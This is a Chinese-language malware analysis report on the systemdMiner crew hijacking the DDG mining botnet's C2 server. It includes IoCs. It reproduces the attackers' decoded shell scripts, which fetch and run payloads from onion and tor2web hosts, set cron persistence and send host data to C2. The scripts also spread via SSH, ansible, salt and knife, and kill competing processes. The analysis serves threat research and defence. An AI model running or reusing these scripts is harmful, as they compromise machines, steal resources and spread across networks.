标题 | 简介 | 类型 | 公开时间 | ||||||||||||
|
|||||||||||||||
|
|||||||||||||||
详情 | |||||||||||||||
[SAFE-ID: JIWO-2025-2378] 作者: ecawen 发表于: [2019-05-04] [2019-05-04]被用户:ecawen 修改过
本文共 [382] 位读者顶过
Update(2019.4.26 17:30)在本文发布约 3 小时之后,我们发现攻击者下线了部分 Payload 下载的 URL,当前下列 URL 已经失效: aptgetgxqs3secda.onion.ly/systemd-cron.sh aptgetgxqs3secda.onion.pet/systemd-cron.sh aptgetgxqs3secda.onion.ly/systemd-login-ddg aptgetgxqs3secda.onion.pet/systemd-login-ddg aptgetgxqs3secda.onion.ly/systemd-resolve aptgetgxqs3secda.onion.pet/systemd-resolve aptgetgxqs3secda.onion.ly/systemd.sh aptgetgxqs3secda.onion.pet/systemd.sh aptgetgxqs3secda.onion.ly/systemd-analyze aptgetgxqs3secda.onion.pet/systemd-analyze rapid7cpfqnwxodo.onion.ly/systemd-login-h rapid7cpfqnwxodo.onion.pet/systemd-login-h 1. 概述在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中,我们提到了 DDG 最近在用的主 C2: 119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China 2019.4.19 日凌晨,我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh,在 i.sh 脚本的最后新增了一段陌生的 Shell 代码,这段 Shell 代码会在失陷主机下载一套全新的恶意程序,之后就会脱离 DDG 的基础设施而独立运行、传播,在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后,DDG 的上述主 C2 随即下线停止服务。 鉴于这一套恶意程序的多个恶意组件均以 systemd-的形式命名,我们把它命名为 systemdMiner 。systemdMiner 的恶意程序具有蠕虫特性,会利用 3 种手段传播自身,在入侵失陷主机后,最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。 在 DDG 上述主 C2 下线期间,DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制,DDG 整个僵尸网络还依然存活,每天活跃的 P2P Nodes 有 3000+。 直到 4.25 凌晨,DDG 才上线了 2 个新的 C2,并把版本号升级到 v4000,恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令,篡改 hosts 文件,屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2: 109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C 104.128.230.16 AS62217|VooServers_Ltd|United States|New York systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同:
基于以上原因,我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2,并通过 DDG 的基础设施下发了自己的一套恶意程序,我们把这种黑吃黑的行为形容为借鸡下蛋。 systemdMiner 的 3 种传播手段:
systemdMiner 这一套恶意程序,涉及的多个二进制程序和 Shell 脚本,下文会一一剖析。各程序简介:
systemdMiner 真正的 C2 服务器架设在暗网中,并通过一组类似 tor2web 的服务映射到公网,来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下: ![]() 2. DDG “下的蛋”——最后的配置数据和 Shell 脚本DDG 最新的配置数据: {CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}} 最后下发的 i.sh 脚本: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab - echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/crontabs/root echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root cd /tmp touch /usr/local/bin/writeable && cd /usr/local/bin/ touch /usr/libexec/writeable && cd /usr/libexec/ touch /usr/bin/writeable && cd /usr/bin/ rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable export PATH=$PATH:$(pwd) ps auxf | grep -v grep | grep betsbce || rm -rf betsbce if [ ! -f "betsbce" ]; then curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce fi chmod +x betsbce $(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9 echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash 其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个,它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串,解码后是另外一段独立的 Shell 脚本: exec &>/dev/null sed -i '/rapid/d' /etc/hosts sed -i '/aptge/d' /etc/hosts d() { x=/systemd-login-ddg y=/tmp/.systemd-login wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y sleep 5 } if ! ps -p $(cat /tmp/.X1M-unix); then d aptgetgxqs3secda.onion.ly fi if ! ps -p $(cat /tmp/.X1M-unix); then d aptgetgxqs3secda.onion.pet fi if ! ps -p $(cat /tmp/.X1M-unix); then d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net fi 这段 Shell 脚本,首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活,文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行: aptgetgxqs3secda.onion.ly/systemd-login-ddg aptgetgxqs3secda.onion.pet/systemd-login-ddg aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg aptgetgxqs3secda.onion.in.net/systemd-login-ddg 除此之外, i.sh 脚本中,以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。 这样一来,就可以通过 DDG 的这一波更新,下发 3 个 systemdMiner 的恶意程序:
3. systemdMiner 系列样本分析3.1 systemd-login-ddgsystemd-login-ddg 是 systemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序,另外两个同时下发的 ddgs.i686 和 ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行,后续还会涉及两个恶意程序,都是 systemd-login-ddg 的变种,区别在于部分 C2 Domain 设定不同,这些同类恶意程序有:
systemdMiner 相关的所有二进制样本,都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳,壳代码改动很多,变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) : ![]() 脱壳后,恶意程序在刚开始就会检查 LD_PRELOAD 和 PTRACE_TRACEME ,用来对抗针对性地调试和沙箱: ![]() 然后,systemd-login-ddg 会删除自身文件,创建守护进程并把进程号写入 /tmp/.X1M-unix 文件,进程名为 -bash: ![]() 接下来,systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中: #!/bin/bash exec &>/dev/null {echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash 上述脚本中的编码字串解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin sleep $((RANDOM % 600)) (wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash 如果当前用户是 root ,样本还会探测 /lib/systemd/ 目录,并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login,用于开机启动。 然后,执行命令 mv -f /tmp/systemd ~/.systemd-login 把 systemd 文件移动到用户主目录并隐藏。 上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ,会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本,原始内容如下: "${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*// 解混淆后的真面目: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() { x=/systemd-login y=/tmp/systemd wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y } if ! ps -p $(< /tmp/.X1M-unix); then d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io fi 最后,systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。 3.1.1 Shell 脚本一:上报 C2,利用自动化运维工具传播原始脚本经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin xssh() { ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash' } s1() { x=/slave y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)) wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x } s2() { x=/systemd-resolve y=/tmp/systemd-resolve wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y } s3() { if [ -x $(command -v ansible) ]; then ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash' fi if [ -x $(command -v salt) ]; then salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash' fi if [ -x $(command -v knife) ]; then knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash' fi if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq) for h in $hosts;do xssh root $h; xssh $USER $h & done fi } s1 rapid7cpfqnwxodo.tor2web.fyi s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net s3 该脚本共有 3 个关键函数,作用分别是:
exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin c() { x=/systemd-login y=/tmp/.systemd-login wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y sleep 4 } if ! ps -p $(cat /tmp/.X1M-unix); then c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net fi 3.1.2 Shell 脚本二:设定 cron 任务原始脚本同样经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin c() { if [ -x $(command -v crontab) ]; then if [ $(crontab -l |grep REDIS00) ]; then crontab -r fi if ((!EUID)); then if [ ! -f "/etc/cron.d/systemd" ]; then echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd fi if [ ! $(crontab -l |grep systemd-login) ]; then (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab - fi else if [ ! $(crontab -l |grep systemd-login) ]; then (echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab - fi fi fi } c 该脚本的主要功能,是新建 cron 配置文件 /etc/cron.d/systemd,然后把 systemd-login-ddg 样本中落地的 /lib/systemd/systemd-login 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 wget 和 curl 命令,以此清除竞争对手的计划任务。 3.1.3 Shell 脚本三:杀掉竞争对手原始脚本同样经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0" find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg find /etc/cron*|xargs chattr -i find /var/spool/cron*|xargs chattr -i grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d' rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts 该脚本的功能就是清除各种竞争对手。 3.1.4 Shell 脚本四:下载矿机并执行原始脚本经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() { x=/systemd-analyze y=/tmp/.systemd-analyze wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y sleep 6 } if ! ps -p $(cat /tmp/.X11-lock); then d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net fi 此脚本会从 rapid7cpfqnwxodo.tor2web.fyi 或 rapid7cpfqnwxodo.tor2web.fyi 下载 systemd-analyze 文件并执行。systemd-analyze 正是基于 XMRig 改写的矿机程序。 3.1.5 Shell 脚本五:更新样本和恶意Shell脚本原始脚本经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() { x=/systemd-login y=/tmp/.systemd-login wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y sleep 5 } u() { x=/systemd.sh (wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash } if [ -f /tmp/.systemd-update ]; then kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi fi u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi systemd-login-ddg 会用此脚本检查样本更新标志文件 /tmp/.systemd-update ,据此来下载最新的 systemd-login 样本。随后会下载最新的恶意 Shell 脚本 systemd.sh 并执行。 接下来 systemd-login-ddg 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同,不同点在于下载 systemd-login 样本的 C2 Domain 多了一个 rapid7cpfqnwxodo.tor2web.io 。 3.2. systemd-resolve前文说过,systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp,并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg相同,不同的是把自身的守护进程命名为 -rbash 。 该样本主要用于内网传播,针对 172.16.0.0/12 、192.168.0.0/16 和 10.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP,是否属于上述三个内网网段: ![]() 如果当前主机的 LAN_IP 属于上述三个网段,样本就会批量探测上述网段各主机的 8088 端口: ![]() 对于探测成功的目标主机,则利用以下 Payload 来传播自身: ![]() Payload 中的 Shell 脚本同样经过 Base64 编码,解码后如下: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() { x=/systemd-login-h y=/tmp/systemd wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y } if ! ps -p $(< /tmp/.X1M-unix); then d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io fi 可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同,此处不赘述。 3.3 systemd.sh前文提到,systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中,会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期,这个 systemd.sh 脚本没有实质性的内容: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin 大概在 2019.4.23 中午,背后的攻击者才把 systemd.sh 正式上线,最新的 systemd.sh 的内容: exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d() { x=/systemd-analyze y=/tmp/.systemd-analyze wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y chmod +x $y;$y sleep 6 } if ! ps -p $(cat /tmp/.X11-lock); then d rapid7cpfqnwxodo.d2web.org fi 可以看到其目的是下载 systemd-analyze 并执行。 3.4 systemd-analyze前文提到, systemdMiner 目前的盈利手段是挖矿,而最终承担此任务的的矿机程序就是这个 systemd-analyze 。 此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段,不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串: ![]() 挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP,并非公共矿池,而且登录矿池所用的账号和密码均为 "x",所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下: ![]() 经过排查,我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下:
上述两个都是正经网站的正经域名,所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。 4. 总结综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析,在技术细节方面, systemdMiner 和 DDG 之间只发现一处相似点:DDG 的配置数据下发 URI 为 /slave ,systemdMiner 的 Report URI 也是 /slave ,但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除,而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。 所以我们认为,DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后,systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本,并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序,从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。 在 systemdMiner 后续的更新中,还会把自己的矿机程序命名为类似于 DDG 样本的名字,比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ,让人乍一看会误以为是 DDG 相关的恶意程序。 5. IoCsC&C Domain: aptgetgxqs3secda.onion.ly aptgetgxqs3secda.onion.pet aptgetgxqs3secda.tor2web.fyi aptgetgxqs3secda.onion.in.net aptgetgxqs3secda.onion.mn aptgetgxqs3secda.d2web.org rapid7cpfqnwxodo.tor2web.fyi rapid7cpfqnwxodo.onion.in.net rapid7cpfqnwxodo.onion.ly rapid7cpfqnwxodo.onion.pet rapid7cpfqnwxodo.onion.mn rapid7cpfqnwxodo.d2web.org MD5: 64315b604bd7a4b2886bba0e6e5176be dd8202ac5e6a2f6c8638116aa09694d7 45e4d4671efcd1d9e502359c2fbbd6eb aa83345c8cc3e7b41709f96bfb9844f8 9f3edaa64e912661cd03f1aa9d342162 